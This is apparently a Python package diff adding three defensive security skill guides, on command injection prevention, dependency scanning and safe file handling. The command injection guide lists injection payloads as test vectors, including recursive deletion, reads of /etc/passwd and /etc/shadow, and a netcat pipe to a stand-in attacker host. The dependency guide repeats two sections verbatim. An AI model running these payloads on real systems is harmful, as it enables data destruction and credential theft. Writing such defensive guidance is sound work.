python-skills 1.0.0__py3-none-any.whl

skills/security/command_injection.md

@@ -0,0 +1,207 @@
+# Security: Command Injection Prevention
+
+**Purpose**: Prevent command injection when executing subprocesses.
+
+**When to use**: Any `subprocess` usage.
+---
+---
+name: security_command_injection
+purpose: Prevent command injection when executing subprocesses
+category: security
+triggers:
+  - subprocess
+  - command injection
+  - shell
+  - os.system
+  - popen
+  - exec
+dependencies:
+  - stdlib/subprocess.md
+  - security/path_traversal.md
+  - security/input_validation.md
+priority: primary
+estimated_tokens: 1600
+---
+
+## Core Rules
+
+### Never Use shell=True with User Input
+```python
+# NEVER
+subprocess.run(f"echo {user_input}", shell=True)
+subprocess.run("ls " + user_dir, shell=True)
+subprocess.run(f"process {filename}", shell=True)
+
+# ALWAYS use list form
+subprocess.run(["echo", user_input])
+subprocess.run(["ls", user_dir])
+subprocess.run(["process", filename])
+```
+
+### Validate/Allowlist Commands
+```python
+ALLOWED_COMMANDS = {
+    "git": ["git"],
+    "docker": ["docker"],
+    "kubectl": ["kubectl"],
+}
+
+def safe_run(command: str, args: list[str], **kwargs) -> subprocess.CompletedProcess:
+    if command not in ALLOWED_COMMANDS:
+        raise ValueError(f"Command not allowed: {command}")
+    
+    full_cmd = [command] + args
+    return subprocess.run(full_cmd, **kwargs)
+```
+
+### Path Validation
+```python
+def safe_path(user_input: str, base: Path) -> Path:
+    """Resolve path and ensure it's within base directory."""
+    path = (base / user_input).resolve()
+    if not path.is_relative_to(base.resolve()):
+        raise ValueError("Path traversal attempt")
+    return path
+
+# Usage
+safe_file = safe_path(user_filename, UPLOAD_DIR)
+subprocess.run(["process", str(safe_file)])
+```
+
+### Environment Sanitization
+```python
+# Clean environment for subprocess
+CLEAN_ENV = {
+    "PATH": "/usr/bin:/bin",
+    "LANG": "C.UTF-8",
+    "HOME": "/tmp",
+}
+
+subprocess.run(cmd, env=CLEAN_ENV, ...)
+
+# Or inherit but remove sensitive
+env = os.environ.copy()
+for key in ["SECRET_KEY", "DB_PASSWORD", "API_TOKEN"]:
+    env.pop(key, None)
+subprocess.run(cmd, env=env, ...)
+```
+
+### shlex for Complex Arguments
+```python
+# When you MUST parse a string command (legacy integration)
+import shlex
+
+def run_legacy_command(cmd_string: str) -> subprocess.CompletedProcess:
+    # shlex splits safely, preserving quoted arguments
+    cmd_list = shlex.split(cmd_string)
+    # Still validate the command itself
+    if cmd_list[0] not in ALLOWED_COMMANDS:
+        raise ValueError(f"Command not allowed: {cmd_list[0]}")
+    return subprocess.run(cmd_list, capture_output=True, text=True)
+
+# Input: 'git commit -m "fix: update"' -> ['git', 'commit', '-m', 'fix: update']
+# NOT: ['git', 'commit', '-m', 'fix:', 'update'] (naive split fails)
+```
+
+---
+
+## Decision Rules
+
+| Need | Pattern |
+|------|---------|
+| Run command | List form, no shell |
+| User input as arg | Validate + list form |
+| User input as path | Resolve + `is_relative_to` |
+| Multiple commands | Chain `Popen` (no shell pipe) |
+| Shell features (glob, vars) | Reimplement in Python |
+| Parse string command | `shlex.split()` + validate |
+
+---
+
+## Preferred Patterns
+
+```python
+def run_command(
+    cmd: list[str],
+    *,
+    cwd: Path | None = None,
+    timeout: float = 30.0,
+    env: dict[str, str] | None = None,
+    input_data: str | None = None,
+    allowlist: set[str] | None = None,
+) -> subprocess.CompletedProcess:
+    """Safe subprocess wrapper."""
+    
+    # Validate command
+    if not cmd or not isinstance(cmd, list):
+        raise ValueError("Command must be non-empty list")
+    
+    if allowlist and cmd[0] not in allowlist:
+        raise ValueError(f"Command not allowed: {cmd[0]}")
+    
+    # Validate paths in args
+    for arg in cmd[1:]:
+        if isinstance(arg, Path):
+            # Could add path validation here
+            pass
+    
+    return subprocess.run(
+        cmd,
+        capture_output=True,
+        text=True,
+        encoding="utf-8",
+        errors="replace",
+        timeout=timeout,
+        check=False,
+        cwd=cwd,
+        env=env,
+        input=input_data,
+    )
+
+# Usage
+result = run_command(
+    ["docker", "build", "-t", image_name, "."],
+    allowlist={"docker"},
+    timeout=300,
+)
+```
+
+---
+
+## Common Injection Vectors (Test These)
+
+| Vector | Example | Mitigation |
+|--------|---------|------------|
+| Command separator | `; rm -rf /` | List form, no shell |
+| Subshell | `$(cat /etc/passwd)` | No shell |
+| Backticks | `` `id` `` | No shell |
+| Pipe | `| nc attacker.com 4444` | No shell |
+| AND/OR | `&& cat /etc/shadow` | No shell |
+| Newline | `\nmalicious_cmd` | No shell, validate input |
+| Environment variable | `${IFS}cat${IFS}/etc/passwd` | Clean env, no shell |
+
+---
+
+## Avoid
+
+- `shell=True` (except static trusted commands)
+- `os.system()`, `os.popen()`
+- String commands
+- User input in command without validation
+- Inheriting full environment
+
+---
+
+## Validation Considerations
+
+- Test with injection payloads (`; rm -rf /`, `$(cat /etc/passwd)`, etc.)
+- `bandit` B602, B603, B605, B607 checks
+- Verify allowlist enforcement
+
+---
+
+## Related Skills
+
+- `stdlib/subprocess.md`
+- `security/path_traversal.md`
+- `security/input_validation.md`

skills/security/dependency_risks.md

@@ -0,0 +1,282 @@
+# Security: Dependency Risks
+
+**Purpose**: Manage security risks from third-party dependencies.
+
+**When to use**: Adding dependencies, updating, CI/CD pipeline.
+---
+---
+name: security_dependency_risks
+purpose: Manage security risks from third-party dependencies
+category: security
+triggers:
+  - dependency
+  - vulnerability
+  - supply chain
+  - pip-audit
+  - safety
+  - lock file
+  - transitive
+dependencies:
+  - engineering/dependency_management.md
+  - engineering/pyproject_toml.md
+  - engineering/virtual_environments.md
+  - engineering/packaging.md
+priority: primary
+estimated_tokens: 1700
+---
+
+## Core Rules
+
+### Dependency Evaluation Checklist
+Before adding a dependency:
+- [ ] **Necessary?** Stdlib or existing dep can't solve it
+- [ ] **Maintained?** Recent releases, open issues responded to
+- [ ] **Popular?** Sufficient usage (downloads, dependents)
+- [ ] **License?** Compatible with project
+- [ ] **Security history?** No unpatched vulnerabilities
+- [ ] **Transitive deps?** Minimal, well-known
+- [ ] **Size?** Reasonable install footprint
+
+### Scanning Tools
+```bash
+# Safety (PyPI vulnerability database)
+pip install safety
+safety check
+safety check --json
+
+# pip-audit (uses OSV database)
+pip install pip-audit
+pip-audit
+pip-audit --desc
+
+# GitHub Dependabot / GitLab Dependency Scanning
+# Configure in CI/CD
+
+# OWASP Dependency Check
+# For comprehensive scanning
+```
+
+### Lock File Security
+```bash
+# Generate with hashes (pip-tools)
+pip-compile --generate-hashes pyproject.toml -o requirements.txt
+
+# Verify on install
+pip install --require-hashes -r requirements.txt
+
+# uv (includes hashes by default)
+uv pip compile pyproject.toml -o requirements.txt
+uv sync  # Verifies hashes
+```
+
+### Update Policy
+```bash
+# Check outdated
+uv pip list --outdated
+pip list --outdated
+
+# Security updates: IMMEDIATE
+# Patch/feature updates: Scheduled (weekly/monthly)
+
+# Test before deploying updates
+uv pip install --upgrade package
+pytest  # Full suite
+```
+
+### Private Package Index
+```bash
+# Use private index for internal packages
+pip install --index-url https://private.pypi.org/simple my-package
+
+# Or in pyproject.toml
+[tool.uv]
+index-url = "https://private.pypi.org/simple"
+```
+
+### Supply Chain Security
+```toml
+# pyproject.toml - require hashes for production deps
+[project]
+dependencies = [
+    "requests==2.31.0 --hash=sha256:...",
+]
+
+# Or use pip-tools with --generate-hashes
+```
+
+---
+
+## Decision Rules
+
+| Risk Level | Action |
+|------------|--------|
+| Critical vulnerability | Update immediately, emergency deploy |
+| High vulnerability | Update within 24-48 hours |
+| Medium vulnerability | Update within week |
+| Low vulnerability | Next scheduled update |
+| Unmaintained dependency | Plan replacement |
+| License conflict | Replace immediately |
+
+---
+
+## Preferred Patterns
+
+```bash
+# CI Pipeline
+# 1. Scan on every PR
+safety check --json
+pip-audit --desc
+
+# 2. Scheduled scan (daily/weekly)
+# GitHub Actions cron / GitLab scheduled pipeline
+
+# 3. Automated PR for updates
+# dependabot.yml / renovate.json
+
+# 4. Block merge on critical vulns
+# Required status check
+```
+
+### dependabot.yml Example
+```yaml
+# .github/dependabot.yml
+version: 2
+updates:
+  - package-ecosystem: "pip"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+      day: "monday"
+    labels:
+      - "dependencies"
+      - "security"
+    allow:
+      - dependency-type: "direct"
+    ignore:
+      - dependency-name: "some-package"
+        versions: [">=2.0.0"]
+```
+
+### renovate.json Example
+```json
+{
+  "extends": ["config:base"],
+  "packageRules": [
+    {
+      "matchUpdateType": "security",
+      "automerge": true,
+      "schedule": ["after 6pm", "before 9am"]
+    }
+  ],
+  "pip": {
+    "file": "requirements.txt"
+  }
+}
+```
+
+### Python Code: Automated Check
+```python
+import subprocess
+import json
+from pathlib import Path
+
+def scan_dependencies(requirements_path: Path) -> dict:
+    """Run safety and pip-audit, return combined results."""
+    results = {"critical": [], "high": [], "medium": [], "low": []}
+    
+    # Safety
+    try:
+        proc = subprocess.run(
+            ["safety", "check", "--json", "-r", str(requirements_path)],
+            capture_output=True, text=True, timeout=60
+        )
+        if proc.returncode != 0:
+            for vuln in json.loads(proc.stdout):
+                severity = vuln.get("severity", "unknown").lower()
+                if severity in results:
+                    results[severity].append(vuln)
+    except Exception:
+        pass
+    
+    # pip-audit
+    try:
+        proc = subprocess.run(
+            ["pip-audit", "--desc", "--format", "json", "-r", str(requirements_path)],
+            capture_output=True, text=True, timeout=60
+        )
+        if proc.returncode != 0:
+            data = json.loads(proc.stdout)
+            for vuln in data.get("vulnerabilities", []):
+                severity = vuln.get("severity", "unknown").lower()
+                if severity in results:
+                    results[severity].append(vuln)
+    except Exception:
+        pass
+    
+    return results
+
+def has_critical_vulns(results: dict) -> bool:
+    return len(results.get("critical", [])) > 0 or len(results.get("high", [])) > 0
+```
+
+---
+
+## Decision Rules
+
+| Risk Level | Action |
+|------------|--------|
+| Critical vulnerability | Update immediately, emergency deploy |
+| High vulnerability | Update within 24-48 hours |
+| Medium vulnerability | Update within week |
+| Low vulnerability | Next scheduled update |
+| Unmaintained dependency | Plan replacement |
+| License conflict | Replace immediately |
+
+---
+
+## Preferred Patterns
+
+```bash
+# CI Pipeline
+# 1. Scan on every PR
+safety check --json
+pip-audit --desc
+
+# 2. Scheduled scan (daily/weekly)
+# GitHub Actions cron / GitLab scheduled pipeline
+
+# 3. Automated PR for updates
+# dependabot.yml / renovate.json
+
+# 4. Block merge on critical vulns
+# Required status check
+```
+
+---
+
+## Avoid
+
+- No vulnerability scanning
+- Pinned exact versions without updates (`==1.0.0` forever)
+- No lock file for applications
+- Ignoring transitive dependencies
+- Using packages with known vulnerabilities
+- Installing from untrusted indexes
+
+---
+
+## Validation Considerations
+
+- CI fails on critical/high vulnerabilities
+- Lock file hashes verified on install
+- SBOM (Software Bill of Materials) generated
+- License compliance checked
+
+---
+
+## Related Skills
+
+- `engineering/dependency_management.md`
+- `engineering/pyproject_toml.md`
+- `engineering/virtual_environments.md`
+- `engineering/packaging.md`

skills/security/file_handling.md

@@ -0,0 +1,156 @@
+# Security: File Handling
+
+**Purpose**: Safe file operations to prevent information disclosure and corruption.
+
+**When to use**: Reading, writing, uploading, serving files.
+
+---
+
+## Core Rules
+
+### Atomic Writes
+```python
+import tempfile
+from pathlib import Path
+
+def atomic_write(path: Path, content: str | bytes, encoding: str = "utf-8") -> None:
+    """Write atomically to prevent partial reads."""
+    path.parent.mkdir(parents=True, exist_ok=True)
+    
+    # Write to temp file in same directory (same filesystem)
+    with tempfile.NamedTemporaryFile(
+        mode="w" if isinstance(content, str) else "wb",
+        dir=path.parent,
+        delete=False,
+        encoding=encoding if isinstance(content, str) else None,
+    ) as tmp:
+        tmp.write(content)
+        tmp_path = Path(tmp.name)
+    
+    # Atomic replace
+    tmp_path.replace(path)
+
+# Usage
+atomic_write(Path("config.json"), json.dumps(config))
+```
+
+### Safe File Reading
+```python
+def read_file_safe(path: Path, max_size: int = 10_000_000) -> bytes:
+    """Read file with size limit."""
+    stat = path.stat()
+    if stat.st_size > max_size:
+        raise ValueError(f"File too large: {stat.st_size} > {max_size}")
+    
+    return path.read_bytes()
+
+def read_text_safe(path: Path, encoding: str = "utf-8", max_size: int = 1_000_000) -> str:
+    return read_file_safe(path, max_size).decode(encoding)
+```
+
+### Temporary Files
+```python
+import tempfile
+
+# GOOD — secure temp file
+with tempfile.NamedTemporaryFile(mode="w", delete=False) as tmp:
+    tmp.write(data)
+    tmp_path = Path(tmp.name)
+try:
+    process(tmp_path)
+finally:
+    tmp_path.unlink(missing_ok=True)
+
+# BETTER — TemporaryDirectory (auto cleanup)
+with tempfile.TemporaryDirectory() as tmpdir:
+    tmp_path = Path(tmpdir) / "file.txt"
+    tmp_path.write_text(data)
+    process(tmp_path)
+# Auto cleanup on exit
+```
+
+### Permissions
+```python
+# Don't make world-writable
+path.write_text(content)
+path.chmod(0o600)  # Owner read/write only
+
+# For secrets
+path.write_text(secret)
+path.chmod(0o400)  # Owner read only
+```
+
+### Path Validation (Recap)
+```python
+# Always validate before operations
+def serve_file(user_path: str, root: Path) -> FileResponse:
+    safe = safe_path(user_path, root)  # From path_traversal.md
+    if not safe.is_file():
+        raise FileNotFoundError()
+    return FileResponse(safe)
+```
+
+---
+
+## Decision Rules
+
+| Operation | Pattern |
+|-----------|---------|
+| Write config/data | Atomic write (temp + replace) |
+| Read untrusted file | Size limit + validation |
+| Temp processing | `TemporaryDirectory` |
+| Upload handling | Validate name, size, type, stream write |
+| Log rotation | `RotatingFileHandler` |
+
+---
+
+## Preferred Patterns
+
+```python
+class SafeFileManager:
+    def __init__(self, base_dir: Path, max_file_size: int = 10_000_000):
+        self.base_dir = base_dir.resolve()
+        self.max_size = max_file_size
+    
+    def write(self, rel_path: str, content: str | bytes) -> Path:
+        path = self._validate(rel_path)
+        atomic_write(path, content)
+        return path
+    
+    def read(self, rel_path: str) -> bytes:
+        path = self._validate(rel_path)
+        return read_file_safe(path, self.max_size)
+    
+    def _validate(self, rel_path: str) -> Path:
+        requested = (self.base_dir / rel_path).resolve()
+        if not requested.is_relative_to(self.base_dir):
+            raise SecurityError("Path traversal")
+        return requested
+```
+
+---
+
+## Avoid
+
+- Direct writes to final path (partial reads possible)
+- No size limits on reads
+- World-writable files
+- Predictable temp file names
+- Leaving temp files behind
+
+---
+
+## Validation Considerations
+
+- Test concurrent writes (atomicity)
+- Test size limit enforcement
+- Test path traversal attempts
+- Test cleanup on exception
+
+---
+
+## Related Skills
+
+- `security/path_traversal.md`
+- `security/secrets.md`
+- `stdlib/pathlib.md`